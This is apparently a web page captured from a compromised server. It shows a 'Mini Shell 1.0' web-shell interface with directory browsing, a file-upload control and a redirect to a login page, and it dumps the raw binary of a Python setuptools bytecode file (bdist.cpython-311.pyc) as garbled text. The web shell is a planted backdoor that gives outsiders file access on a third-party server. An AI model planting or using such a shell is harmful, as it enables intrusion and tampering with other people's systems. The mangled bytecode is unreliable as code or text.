HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /lib/python3/dist-packages/setuptools/_distutils/command/__pycache__/
Upload File :
Current File : //lib/python3/dist-packages/setuptools/_distutils/command/__pycache__/bdist.cpython-311.pyc
�

���c!���dZddlZddlZddlmZddlmZmZddlm	Z	d�Z
Gd�d	e��ZGd
�de��Z
dS)zidistutils.command.bdist

Implements the Distutils 'bdist' command (create a built [binary]
distribution).�N�)�Command)�DistutilsPlatformError�DistutilsOptionError)�get_platformc���ddlm}g}tjD]3}|�d|zdtj|df���4||��}|�d��dS)zAPrint list of available formats (arguments to "--format" option).r)�FancyGetopt�formats=N�z'List of available distribution formats:)�fancy_getoptr	�bdist�format_commands�append�
print_help)r	�formats�format�pretty_printers    �E/usr/lib/python3/dist-packages/setuptools/_distutils/command/bdist.py�show_formatsrs���*�*�*�*�*�*��G��'�V�V�����
�V�+�T�5�3H��3P�QR�3S�T�U�U�U�U� �[��)�)�N����G�H�H�H�H�H�c��eZdZd�ZdS)�
ListCompatc�>�tjdtd���dS)Nz4format_commands is now a dict. append is deprecated.r)�
stacklevel)�warnings�warn�DeprecationWarning)�self�items  rrzListCompat.appends.���
�F���	
�	
�	
�	
�	
�	
rN)�__name__�
__module__�__qualname__r�rrrrs#������
�
�
�
�
rrc
��eZdZdZdddde��zfdddd	d
gZdgZdd
defgZdZ	ddd�Z
edddddddd���ZeZ
d�Zd�Zd�Zd
S)r
z$create a built (binary) distribution)zbdist-base=�bz4temporary directory for creating built distributionsz
plat-name=�pz;platform name to embed in generated filenames (default: %s))r
Nz/formats for distribution (comma-separated list))z	dist-dir=�dz=directory to put final built distributions in [default: dist])�
skip-buildNz2skip rebuilding everything (for testing/debugging))zowner=�uz@Owner name used when creating a tar file [default: current user])zgroup=�gzAGroup name used when creating a tar file [default: current group]r(zhelp-formatsNz$lists available distribution formats)�	bdist_rpm�gztar�zip)�posix�nt)r+zRPM distribution)�
bdist_dumbzgzip'ed tar file)r0zbzip2'ed tar file)r0zxz'ed tar file)r0zcompressed tar file)r0ztar file)r0zZIP file)�rpmr,�bztar�xztar�ztar�tarr-c�h�d|_d|_d|_d|_d|_d|_d|_dS)Nr)�
bdist_base�	plat_namer�dist_dir�
skip_build�group�owner)rs r�initialize_optionszbdist.initialize_options_s7�������������
������
���
�
�
rc��|j�:|jrt��|_n|�d��j|_|j�G|�d��j}tj�|d|jz��|_|�	d��|j
�I	|jtjg|_
n*#t$rtdtjz���wxYw|j�	d|_dSdS)N�buildzbdist.rz;don't know how to create built distributions on platform %s�dist)r8r:r�get_finalized_commandr7�
build_base�os�path�join�ensure_string_listr�default_format�name�KeyErrorrr9)rrBs  r�finalize_optionszbdist.finalize_optionshs���>�!���
O�!-������!%�!;�!;�G�!D�!D�!N���
�?�"��3�3�G�<�<�G�J� �g�l�l�:�x�$�.�7P�Q�Q�D�O����	�*�*�*��<��
� $� 3�B�G� <�=������
�
�
�,�%�')�w�/����
�����=� �"�D�M�M�M�!� s�-C�'C2c��g}|jD]I}	|�|j|d���*#t$rt	d|z���wxYwtt
|j����D]�}||}|�|��}||jvr|j||_	|dkr|j
|_
|j|_|||dzd�vrd|_|�
|����dS)Nrzinvalid format '%s'r0r)rrrrIr�range�len�reinitialize_command�no_format_optionrr<r;�	keep_temp�run_command)r�commandsr�i�cmd_name�sub_cmds      r�runz	bdist.run�s1�����l�	K�	K�F�
K����� 4�V� <�Q� ?�@�@�@�@���
K�
K�
K�*�+@�6�+I�J�J�J�
K�����s�4�<�(�(�)�)�	'�	'�A���{�H��/�/��9�9�G��t�4�4�4�!%��a�����<�'�'� $�
��
� $�
��
��8�A��E�G�G�,�,�,�$%��!����X�&�&�&�&�	'�	's	�&4�A)r r!r"�descriptionr�user_options�boolean_optionsr�help_optionsrOrGrr�format_commandr=rJrVr#rrr
r
#s�������8�K�	U���
�*�l�n�n�
-�	
�	N�	
�
	S�	
�
	
�)�L�6$�n�O�
��E�|�T��L�
&�� '�e�4�4�N�!�j�4�7�8�5�9�-�-�	
�	
�
�
�O�%�N����#�#�#�8'�'�'�'�'rr
)�__doc__rCr�corer�errorsrr�utilrr�dictrr
r#rr�<module>ras�����

�	�	�	�����������A�A�A�A�A�A�A�A�������I�I�I�
�
�
�
�
��
�
�
�z'�z'�z'�z'�z'�G�z'�z'�z'�z'�z'r